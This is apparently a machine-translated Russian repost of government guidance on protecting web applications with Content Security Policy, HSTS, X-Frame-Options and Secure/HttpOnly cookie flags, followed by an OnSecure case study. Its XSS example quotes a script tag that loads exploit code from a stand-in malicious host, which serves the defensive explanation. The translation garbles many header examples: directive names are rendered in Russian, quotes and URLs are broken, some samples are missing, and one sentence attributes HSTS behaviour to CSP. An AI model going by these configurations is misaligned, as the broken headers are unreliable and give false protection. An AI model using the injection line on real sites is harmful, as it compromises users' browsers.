Защита веб-приложений и пользователей

[Carder]

Этот документ содержит советы для веб-разработчиков и специалистов по безопасности о том, как они могут защитить свои существующие веб-приложения путем реализации недорогих и эффективных мер безопасности, которые не требуют изменений в коде веб-приложения. Эти меры безопасности при применении к новым веб-приложениям, находящимся в разработке, будь то код приложения или конфигурация сервера, составляют часть стратегии глубокой защиты.

Введение​

Веб-приложения - это популярное и мощное решение для предоставления доступа к информации как внутри организации, так и извне для других организаций и общественности.
Как и все программное обеспечение, веб-приложения могут иметь проблемы с безопасностью и должны быть защищены соответствующим образом. Существует множество рекомендаций по безопасной разработке и тестированию веб-приложений, особенно с помощью таких ресурсов, как Open Web Application Security Project (OWASP). Однако многие веб-приложения - это устаревшие приложения, которые в настоящее время не поддерживаются. Это может быть связано с тем, что веб-приложения больше не поддерживаются поставщиком, имеют закрытый исходный код или организации не имеют навыков, необходимых для создания исправлений безопасности. Это может затруднить или даже сделать невозможным внедрение традиционных мер безопасности, поскольку они в основном требуют модификации кода.
Этот документ содержит советы для веб-разработчиков и специалистов по безопасности о том, как они могут защитить свои существующие веб-приложения путем реализации недорогих и эффективных мер безопасности, которые не требуют изменений в коде веб-приложения. Эти меры безопасности при применении к новым веб-приложениям, находящимся в разработке, будь то код приложения или конфигурация сервера, составляют часть стратегии глубокой защиты.

Использование средств контроля безопасности на основе браузера​

Традиционно для обеспечения эффективности все меры безопасности веб-приложений должны были реализовываться на стороне сервера. Например, в случае проверки ввода возможна проверка клиентского JavaScript; но эти меры безопасности легко обойти, отключив JavaScript или изменив запрос с помощью перехватывающего прокси. Таким образом, разработчики из PayPal, Mozilla и Microsoft разработали три новых средства безопасности на основе браузера:

• Политика безопасности контента
• Строгая безопасность транспорта HTTP
• Параметры рамы.

Преимущества этих мер безопасности, помимо повышенной безопасности, заключались в следующем:

• Легкость реализации. Они реализуются путем добавления заголовков HTTP к ответу веб-сервера. Эти заголовки можно добавить на веб-сервер, обратный прокси-сервер или в веб-приложение.
• Совместимость. Поскольку они реализованы через заголовки HTTP, любой веб-браузер, который их не поддерживает, просто игнорирует заголовки и работает как обычно.

Следующее содержимое предоставляет обзор того, как работает каждый элемент управления безопасностью, как он реализован и что следует учитывать при их реализации. Хотя эти меры безопасности не препятствуют использованию уязвимостей безопасности веб-приложений, они уменьшают или устраняют последствия эксплуатации как для веб-приложения, так и для его пользователей.

Политика безопасности контента​

Политика безопасности контента (CSP) обеспечивает средства управления безопасностью, которые могут смягчить атаки межсайтовых сценариев (XSS), а также другие атаки, основанные на внедрении вредоносного или иного нежелательного контента в веб-приложение. CSP достигает этого, указывая список утвержденных источников контента для веб-приложения, который затем принудительно выполняет совместимый веб-браузер. С помощью CSP можно управлять большим разнообразием контента, включая сценарии, изображения, аудио и видео. По умолчанию CSP также реализует дополнительные меры по снижению рисков. Это включает в себя встроенный JavaScript, который не будет выполняться, и код JavaScript не будет создан из строк.
Средства защиты, предлагаемые CSP, позволяют организации значительно снизить последствия, связанные с компрометацией веб-приложения. Это особенно эффективно, если исправления безопасности для веб-приложения больше не разрабатываются или развертывание займет много времени.
CSP также предлагает преимущество отчетности. CSP может дать указание веб-браузеру сообщить о любых нарушениях CSP веб-приложения. Используя эту функцию, организация может обнаруживать атаки на свои веб-приложения и реагировать на них, которые в противном случае могли бы остаться незамеченными.

Реализация политики безопасности контента​

Включение CSP для веб-приложения включает в себя настройку связанного веб-сервера для включения заголовка CSP HTTP во все ответы HTTP. Политика CSP выглядит так:

В разделе политики выше определяется список одобренных источников контента, а также директивы отчета о нарушениях и изменения ограничений CSP по умолчанию, таких как встроенный JavaScript. Следующие ниже примеры иллюстрируют реализации CSP для предыдущего тематического исследования мифического веб-приложения GovTenders.
Разрешить только собственный домен. X-Content-Security-Policy: default-src 'self .
Веб-браузер будет получать контент только с www.govtenders.gov.au. Применяются стандартные меры безопасности CSP JavaScript, поскольку в этой политике нет директивы об отказе.
Разрешить поддомены. X-Content-Security-Policy: default-src * .govtenders.gov.au .
Веб-браузер будет получать контент с govtenders.gov.au и всех поддоменов. Принудительно применяются меры безопасности JavaScript по умолчанию.
Ограничить себя, разрешить встроенный JavaScript. X-Content-Security-Политика. default-src 'self' 'небезопасный встроенный' .
Веб-браузер будет получать контент только с www.govtenders.gov.au и разрешит выполнение встроенного JavaScript, полученного из домена GovTenders.
Разрешить все откуда угодно, но блокировать сторонние скрипты. X-Content-Security-Policy: default-src *; script-src 'сам' .
Веб-браузер загружает любой контент из любого домена, но загружает только JavaScript с www.govtenders.gov.au. Встроенный JavaScript не выполняется.
Разрешить самостоятельным и одобренным внешним источникам. X-Content-Security-Policy: default-src «сам»; img-src * .cdn.example.com; media-src * .youtube.com; скрипт-src * .jquery.com .
Веб-браузер загрузит что угодно с www.govtenders.gov.au; изображения с cdn.example.com и любых поддоменов; аудио и видео контент с youtube.com и любых субдоменов; и скрипты с jquery.com и любых поддоменов.
Принудительно использовать все запросы по HTTPS. X-Content-Security-Policy: default-src https: // *: 443.
Веб-браузер будет загружать что угодно откуда угодно, но все запросы будут использовать HTTPS.
Политика сообщения о нарушениях. X-Content-Security-Policy: default-src «сам»; отчет-uri / cspreport.
Веб-браузер будет получать контент только с www.govtenders.gov.au. Если что-либо нарушает эту политику, веб-браузер отправляет отчет о нарушении на www.govtenders.gov.au/cspreport. Содержание отчета о нарушении будет выглядеть, как на примере ниже.
{«Csp-report»: {«request»: «GET http://www.govtenders.gov.au/ HTTP / 1.1», «blocked-uri»: http: //malicious.example.com/evil.jpg ”,” Violated-directive ”:” default-src https://www.govtenders.gov.au ”}}

Соображения по реализации​

Как и многие другие меры безопасности, реализация CSP требует предварительного планирования. Такое планирование должно предотвращать ошибки конфигурации, которые приводят к сбоям в работе пользователей и бизнеса организации. Кроме того, планирование должно привести к более эффективному использованию функции отчета о нарушениях, если организация ее использует.

Разработка политики безопасности контента​

Необходимо соблюдать осторожность, чтобы идентифицировать все источники контента для веб-приложения, а также идентифицировать использование JavaScript, которое может быть предотвращено ограничениями CSP по умолчанию. Если этого не сделать, это может повлиять на пользователей, поскольку они не смогут загрузить необходимый контент, такой как сценарии, изображения или таблицы стилей.
Если вы не знакомы с веб-приложением и его разработкой, потребуются усилия для разработки безопасного и эффективного CSP. Журналов запросов к веб-серверу самих по себе недостаточно для разработки CSP, поскольку они не раскрывают внешние ресурсы. Некоторые инструменты и методы, используемые для планирования и разработки CSP, описаны ниже.
Букмарклет CSP. Букмарклет [1] был создан Брэндоном Стерном для автоматической генерации CSP для любого веб-приложения. Однако обратите внимание, что этот инструмент будет использовать только текущую оцениваемую веб-страницу для создания CSP.
Инструмент для пауков. Инструмент веб-паука представляет собой автоматизированную альтернативу просмотру веб-приложения вручную. Инструмент будет автоматически переходить по ссылкам и создавать список всех посещенных веб-страниц. В зависимости от конфигурации паука области веб-приложения, требующие взаимодействия с пользователем, могут не быть покрыты. При необходимости это следует дополнить осмотром вручную. Например, большинство прокси-серверов перехвата, таких как Web Scarab [2], имеют возможности для работы с пауками, или можно использовать отдельный инструмент.
Перехват прокси. Перехватывающий прокси, такой как Web Scarab2, может использоваться для создания CSP. Всесторонне просматривая веб-приложение через перехватывающий прокси-сервер, можно создать журнал всех доменов, запрашиваемых веб-браузером. Затем эти домены можно оценить на предмет их включения в CSP. Следует проявлять осторожность, чтобы отфильтровать запросы, не связанные с содержимым веб-приложения. Эти несвязанные запросы могут включать:

• проверки вредоносных веб-страниц (например, SafeBrowsing от Google [3] )
• предложения поиска
• Обновления RSS-канала.

Вышеупомянутые запросы должны быть отключены в веб-браузере на время разработки CSP или иным образом отфильтрованы из списка доменов, разрешенных CSP. Ниже приведен пример использования перехватывающего прокси.

В журнале запросов выше видно, что используются несколько источников контента:

• data.gov.au - основной поставщик контента
• data-au.govspace.gov.au - JavaScript
• s.govspace.gov.au - JavaScript и изображения
• govspace.gov.au - пустой ответ.

Основываясь на журнале запросов выше, CSP для data.gov.au может быть: X-Content-Security-Policy: default-src 'self'; script-src data- au.govspace.gov.au s.govspace.gov.au; img-src s.govspace.gov.au.
Встроенный JavaScript. Если встроенный JavaScript используется для веб-приложения, меры исправления от наиболее безопасного до наименее безопасного:

• переместить встроенный JavaScript в файл сценария, на который есть внешняя ссылка, и разрешить ему использовать CSP
• разрешить выполнение встроенного JavaScript CSP только для тех веб-страниц, для которых это необходимо
• включить выполнение встроенного JavaScript CSP во всем веб-приложении.

CSP в первую очередь был разработан для предотвращения XSS-атак, поэтому включение встроенного выполнения JavaScript ставит под угрозу предлагаемую защиту.

Тестирование политики безопасности контента​

После разработки предлагаемого CSP важно тщательно протестировать его, чтобы убедиться, что все утвержденные источники контента работают. CSP предоставляет средства для тестирования развертывания в производственной среде без нарушения работы пользователей или веб-приложения. Это называется режимом «Только отчет».
В режиме «Только отчет» веб-браузеры будут сообщать только о нарушениях заявленного CSP, а не блокировать неутвержденный контент. Режим «Только отчет» включается с помощью другого HTTP-заголовка: X-Content-Security-Policy-Report-Only: policy .
В течение периода тестирования организации могут просматривать любые отчеты о нарушениях, чтобы определить, есть ли какие-либо законные источники контента, которые не были включены в их CSP.

Пример политики безопасности контента​

У мифического Департамента государственных тендеров было веб-приложение под названием «GovTenders». К сожалению, у GovTenders была уязвимость безопасности XSS, которая позволяла внедрять вредоносный код JavaScript, полученный с сайта malware.example.com, на определенную веб-страницу. Злоумышленник смог использовать эту уязвимость в системе безопасности, чтобы вставить <script src = ”http://malicious.example.com/exploit.js”> </script> на определенную веб-страницу в GovTenders.
Без CSP произошло следующее:

• пользователь перешел на взломанную веб-страницу GovTenders
• веб-сервер обслуживает веб-страницу для пользователя
• веб-браузер получил вредоносный.example.com/exploit.js и выполнил его
• вредоносный JavaScript использовал подходящий эксплойт против веб-браузера пользователя, и компьютер пользователя был скомпрометирован.

С подходящим CSP, например default-src 'self' , произошло следующее:

• пользователь перешел на взломанную веб-страницу GovTenders
• веб-сервер обслуживает веб-страницу для пользователя с добавлением HTTP-заголовка CSP
• веб-браузер интерпретировал CSP и определил, что контент должен быть получен только с www.govtenders.gov.au
• веб-браузер проигнорировал вредоносный JavaScript и не загрузил его.

Хотя GovTenders был успешно использован, последствия были сведены к минимуму, поскольку CSP не позволил браузеру пользователя загрузить и выполнить вредоносный JavaScript. Этот же пример можно применить к другим типам контента, которыми может управлять CSP, таким как изображения, аудио и видео файлы.

Дополнительная информация​

Для получения дополнительной информации о разработке и развертывании CSP организации могут обратиться либо к спецификации CSP [4], либо к руководству Mozilla [5].

Строгая безопасность транспорта HTTP​

HTTP Strict Transport Security (HSTS) снижает угрозу подслушивания и раскрытия информации. HSTS делает это, предписывая совместимым веб-браузерам использовать только безопасные (например, HTTPS) соединения.
При работе с конфиденциальной информацией важно, чтобы веб-приложение использовало безопасные соединения для всех коммуникаций. Хотя это может быть непросто, особенно для крупных или сложных веб-приложений, риски безопасности, связанные с неиспользованием комплексных безопасных коммуникаций, включают:

• HTTPS используется только для отправки имени пользователя и пароля, после чего веб-приложение возвращается к HTTP, тем самым раскрывая конфиденциальную информацию. Это может включать идентификаторы сеанса, которые злоумышленник может использовать для выдачи себя за законного пользователя.
• Разрешение незащищенных подключений для защиты содержимого. Подход веб-приложения по умолчанию может заключаться в использовании HTTPS для безопасного содержимого, однако он может по-прежнему разрешать небезопасные подключения к этому содержимому. Например, пользователь посещает веб-приложение по протоколу HTTP и не направляется на версию HTTPS.

В приведенном ниже примере показана типичная последовательность транзакций (хотя и сокращенная), когда пользователь посещает мифическое веб-приложение GovTenders, входит в систему и предоставляет некоторые конфиденциальные данные. К сожалению, GovTenders были плохо разработаны и позволяли передавать конфиденциальные данные с использованием открытого текста HTTP.

Внедрение HSTS​

Подобно политике безопасности содержимого, реализация HSTS для веб-приложения включает настройку связанного веб-сервера для включения заголовка HSTS во все ответы HTTPS. Директива HSTS может принимать две разные формы:

• Строгая безопасность транспорта: максимальный возраст = секунды.
• Строгая безопасность транспорта: максимальный возраст = секунды; includeSubDomains.

Соображения по реализации​

При реализации директивы HSTS следует учитывать ряд факторов. Они включают:

• Заголовки HSTS должны отправляться только в ответах HTTPS, поскольку совместимые веб-браузеры не будут применять политику HSTS, отправленную в виде обычного текста HTTP.
• Ответ HTTPS, который включает заголовок HSTS, не должен содержать никаких ошибок или предупреждений безопасного транспорта. Это включает использование самозаверяющих сертификатов, несоответствие доменных имен и сертификатов с истекшим сроком действия. Если возникает ошибка или предупреждение безопасного транспорта, веб-браузер может разорвать соединение и не предоставить пользователю возможность продолжить.
• Если веб-приложение еще не реализует широко распространенное использование HTTPS, может возникнуть увеличение накладных расходов на обработку из-за реализации HSTS. Объем накладных расходов зависит от ряда факторов, включая контент, продолжительность сеанса, поведение кэширования и другие. Сравнительный анализ производительности веб-приложения с HSTS и без него покажет, какие накладные расходы будут возникать.

Принимая во внимание эти соображения, заголовок HSTS должен быть установлен во всех ответах HTTPS. Совместимый веб-браузер будет обновлять срок действия HSTS для хоста каждый раз, когда он получает от этого хоста действительную директиву HSTS. Продолжительность времени, указанная в max-age, будет зависеть от того, как долго организация готова использовать только HTTPS. Предпочтительнее более длительное время истечения срока действия, поскольку чем меньше пользователь должен подключаться через открытый текст HTTP, тем менее уязвимы данные, которыми обменивается веб-приложение.

Дополнительная информация​

Для получения дополнительной информации о развертывании HSTS организации могут обратиться либо к спецификации HSTS [6], либо к статье HSTS в Википедии [7] .

Параметры фрейма​

Параметры фрейма предотвращают использование легитимных веб-приложений как часть атаки с использованием щелчка мышью [8]. Параметры фрейма достигают этого, определяя, может ли содержимое веб-приложения быть включено в HTML <frame> или <iframe> , который затем применяется совместимыми веб-браузерами.

Реализация параметров рамы​

Включение параметров фрейма для веб-приложения включает его настройку для включения HTTP-заголовка параметров фрейма либо во все ответы HTTP, либо, по крайней мере, на веб-страницы, с которыми пользователь должен безопасно взаимодействовать. Директива Frame Options может иметь одно из трех значений:

• X-Frame-Options: DENY - Директива deny предотвращает включение защищенного содержимого в любой фрейм.
• X-Frame-Options: SAMEORIGIN - Директива sameorigin разрешает включение защищенного содержимого во фрейм только в том случае, если фрейм обслуживается из того же источника.
• X-Frame-Options: ALLOW-FROM origin (s) - Директива allow-from позволяет одному или нескольким источникам кадрировать защищенный контент. Подстановочные знаки нельзя использовать для указания нескольких доменов.

Соображения по реализации​

Перед развертыванием параметров фрейма организации должны определить, правомерно ли включено содержимое защищаемого веб-приложения в какие-либо фреймы. Это может быть трудно определить для веб-приложений, находящихся вне контроля организации. Проверка заголовка HTTP Referer в запросах может выявить, откуда пользователи связываются, но это также будет включать в себя законные ссылки, а не просто кадрирование. Кроме того, заголовок Referer не всегда надежен из-за того, как заголовок обрабатывается веб-браузерами и другими посредниками.
Если используется допустимый фрейм, необходимо определить, следует ли использовать директиву sameorigin (внутреннее использование) или allow-from (внешнее использование). Кроме того, поскольку в директиве allow-from нельзя использовать подстановочные знаки, необходимо идентифицировать и включить каждый отдельный источник.

Дополнительная информация​

Для получения дополнительной информации о развертывании параметров фрейма организации могут обратиться к спецификации параметров фрейма [9] или руководству Mozilla [10].

Улучшения безопасности файлов cookie​

Файлы cookie жизненно важны для веб-приложений, поскольку они предоставляют средства для хранения информации о клиентах. Эта информация может включать предпочтения и информацию об отслеживании, но самое главное - идентификаторы сеанса. Из-за того, что HTTP не имеет состояния, идентификаторы сеанса являются единственным практическим средством отслеживания состояния, например состояния аутентификации.
Такие атаки, как XSS и человек-посередине, используют зависимость веб-приложений от идентификаторов сеансов, чтобы выдать себя за законного пользователя и захватить его сеанс. Следовательно, защита файлов cookie, содержащих идентификаторы сеанса, жизненно важна для безопасности веб-приложений. На уровне файлов cookie доступны два контроля безопасности, которые помогают защитить файлы cookie; параметры Secure и HttpOnly.

Безопасные куки​

Как указано выше в обсуждениях HSTS, веб-приложение может использовать HTTPS на некоторых веб-страницах, но не может реализовать или принудительно использовать его на других. Из-за этого файлы cookie, содержащие идентификаторы сеанса, могут быть отправлены в открытом виде, что позволяет захватить сеанс. Для защиты от этого следует установить параметр « Безопасный» при отправке файлов cookie, содержащих конфиденциальные данные. Опция Secure заставляет совместимые веб-браузеры отправлять файлы cookie только через безопасные соединения, предотвращая отправку файлов cookie по протоколу HTTP с открытым текстом.
Для реализации безопасных файлов cookie параметр Secure добавляется к значению cookie, когда cookie устанавливается сервером, например Set-Cookie: PHPSESSID = 1a9vnsk3haqpi29kamrnrul06c5; путь = /; Надежно .

Файлы cookie HttpOnly​

Хотя параметр «Безопасный» помогает предотвратить утечку файлов cookie из-за небезопасной связи, он не защищает от атак XSS. Одним из возможных способов использования XSS-атаки является кража файла cookie пользователя и отправка его злоумышленнику. Затем злоумышленник может использовать украденный файл cookie, чтобы выдать себя за пользователя, тем самым обойдя элементы управления аутентификацией веб-приложения. Для защиты от этого необходимо установить параметр HttpOnly, чтобы запретить доступ JavaScript к файлам cookie.
Если установлен параметр HttpOnly, совместимые веб-браузеры будут извлекать файл cookie только тогда, когда он отправляется как часть HTTP-запроса отправителю.
Как и опция Secure, опция HttpOnly добавляется к значению cookie, когда cookie установлен, например Set-Cookie: PHPSESSID = 1a9vnsk3haqpi29kamrnrul06c5; путь = /; HttpOnly.
Параметры Secure и HttpOnly можно установить одновременно.

Соображения по реализации​

При реализации параметров Secure и HttpOnly организациям следует сначала проверить веб-приложения, чтобы определить, вызовут ли эти улучшения безопасности файлов cookie какие-либо проблемы. Например, ключевая часть веб-приложения может не использовать HTTPS, но ожидается, что получит cookie. Поскольку установлен параметр «Безопасный», cookie не отправляется на сервер по протоколу HTTP с открытым текстом, что может вызвать проблемы. Это указывает на более широкую проблему неиспользования HTTPS для защиты веб-приложения, а не на несовместимость с опцией Secure.

Дальнейшая информация​

Руководство по информационной безопасности правительства (ISM) помогает защитить информацию, которая обрабатывается, хранится или передается системами организаций..
В Стратегии в случае инцидентов СМЯГЧАТЬ Cyber Security дополняет рекомендации в ISM.

Приложение A. Подробный пример использования OnSecure​

OnSecure - это веб-приложение, принадлежащее Австралийскому центру кибербезопасности и управляемое им. Этот подробный пример относится к версии OnSecure, которая работала на момент первоначальной публикации этого документа.

OnSecure фон​

OnSecure работает на Drupal, системе управления контентом (CMS). Внедрение существующей коммерческой CMS или CMS с открытым исходным кодом является популярным выбором при разработке веб-приложений, поскольку нет необходимости разрабатывать и поддерживать индивидуальное решение. Однако CMS может быть уязвимой, если исправления безопасности не применяются регулярно или больше не выпускаются разработчиком.
Хотя разработчики программного обеспечения могут быть очень внимательны к безопасности, практически невозможно разработать программное обеспечение, свободное от уязвимостей в системе безопасности, особенно в связи с тем, что злоумышленники разрабатывают новые методы эксплуатации. Таким образом, средства управления безопасностью на основе браузера могут обеспечить дополнительный уровень защиты.
Хотя автор этого документа был знаком с OnSecure и, следовательно, имел хорошую идею, с чего начать, когда дело дошло до настройки и развертывания средств управления безопасностью, описанных выше, исследование и тестирование перед развертыванием выявили ряд факторов, которые необходимо было принять во внимание. рассмотрение.

Политика безопасности контента​

OnSecure не получает законный контент из каких-либо источников, кроме www.onsecure.gov.au и members.onsecure.gov.au. Таким образом, CSP должен был быть довольно простым, поскольку не требовалось дополнительных источников. Однако по-прежнему необходимо было определить, использует ли OnSecure встроенный JavaScript и другие функции JavaScript, заблокированные ограничениями CSP по умолчанию. Чтобы определить, повлияет ли на функциональность запрет на выполнение встроенного JavaScript, был развернут CSP только для отчетов: X-Content-Security-Policy-Report-Only: default-src 'self'; report-uri / dummyreport.
Вместо того, чтобы создавать обработчик для получения отчетов о нарушениях на веб-сервере, перехватывающий прокси использовался для просмотра содержимого отчетов о нарушениях, когда их отправлял веб-браузер. Это позволило лучше понять, использует ли OnSecure встроенный JavaScript, и подтвердило, что политики default-src 'self' будет достаточно, а опция 'unsafe-inline' не понадобится. Однако просмотр каждой страницы вручную был трудным и подверженным ошибкам. Чтобы убедиться, что предложенная политика верна, был написан простой обработчик HTTP POST для регистрации отправленных отчетов о нарушениях. Затем они были рассмотрены, чтобы определить, сообщалось ли о каких-либо нарушениях и при каких условиях. Примеры заявленных нарушений включают:

• Шаблоны страниц Drupal, включая пустые теги скриптов, вызывающие нарушение встроенного JavaScript
• различные букмарклеты, такие как LastPass, запускающие нарушения при выполнении встроенного JavaScript, использование URI данных и внешних носителей.

Отчеты о нарушениях показали, что, помимо взлома пользовательских букмарклетов, предлагаемый CSP был правильным. Поэтому для всего сайта был развернут следующий CSP: X-Content-Security-Policy default-src 'self'; report-uri /cspreport.php.
Журнал отчетов о нарушениях регулярно просматривался, чтобы определить, были ли какие-либо проблемы или нарушения, которые могли указывать на злонамеренность. Усовершенствования в обработчике отчетов включают фильтрацию для уменьшения количества ложных срабатываний и оповещение по электронной почте о подозрительных отчетах.

Строгая безопасность транспорта HTTP​

OnSecure использовала два виртуальных хоста Apache, один из которых обслуживает целевую страницу с открытым текстом, а другой обслуживает секцию защищенного SSL участника. Поскольку конфиденциальный контент предоставляется только с members.onsecure.gov.au, сертификат SSL OnSecure выдается только для members.onsecure.gov.au, а не для * .onsecure.gov.au. Это вызвало ошибку SSL из-за несоответствия доменного имени при доступе к https://www.onsecure.gov.au.
Из-за вышеуказанной проблемы HSTS не удалось включить на сервере. Согласно CSP веб-браузеры игнорируют директиву HSTS из-за ошибки SSL или доставки открытого текста HTTP. Следовательно, следующая директива HSTS была помещена только в конфигурацию виртуального хоста, которая обслуживала https://members.onsecure.gov.au: Strict-Transport-Security: max-age = 2592000.
Если SSL-сертификат OnSecure был действителен для * .onsecure.gov.au, а весь сайт был доставлен по HTTPS, то могла использоваться директива HSTS на уровне сервера, например: Strict-Transport-Security: max-age = 2592000 ; includeSubDomains.

Параметры рамы​

Как и в случае с CSP, у внешних сайтов не было законного использования для включения содержимого OnSecure во фреймы HTML. Следовательно, все, что требовалось, - это разместить подходящую директиву во всех HTTP-ответах, отправляемых OnSecure: X-Frame-Options: SAMEORIGIN .

Улучшения безопасности файлов cookie​

Как и большинство веб-приложений, OnSecure использует файлы cookie для хранения идентификаторов сеансов для аутентификации пользователей. Было жизненно важно, чтобы эти файлы cookie были защищены, чтобы избежать раскрытия идентификаторов сеансов, что может привести к несанкционированному доступу.

Безопасные куки​

Внедрение HSTS помогло бы файлам cookie оставаться безопасными, поскольку совместимые веб-браузеры обменивались данными только по HTTPS с members.onsecure.gov.au, доменом, который отправлял и принимал файлы cookie. К сожалению, не все веб-браузеры поддерживают HSTS, поэтому потребовались дополнительные уровни защиты. Поэтому в OnSecure была реализована опция Secure, поскольку для нее была улучшена поддержка веб-браузером, и файлы cookie могли быть защищены, даже если HSTS не поддерживался.

Файлы cookie HttpOnly​

При внедрении CSP стало известно, что OnSecure не использует JavaScript, особенно для доступа к выданным им файлам cookie и управления ими. Таким образом, была реализована опция HttpOnly, чтобы ограничить последствия использования уязвимости безопасности XSS в OnSecure (и если CSP был неэффективным или не поддерживался веб-браузером), что могло привести к краже идентификатора сеанса.

Реализация​

Из-за ограничений на редактирование исходного кода OnSecure добавление параметров Secure и HttpOnly к файлам cookie, выпущенным Drupal, было выполнено с использованием Apache, веб-сервера OnSecure. Модуль заголовков Apache позволяет редактировать существующие заголовки на основе регулярных выражений. Необходимая запись была добавлена в конфигурацию виртуального хоста, чтобы результирующая директива cookie, выданная пользователю, выглядела как следующий усеченный пример: Set-Cookie: SESS719dja2841 = nzkJAh1729Akzj28; HttpOnly; Secure.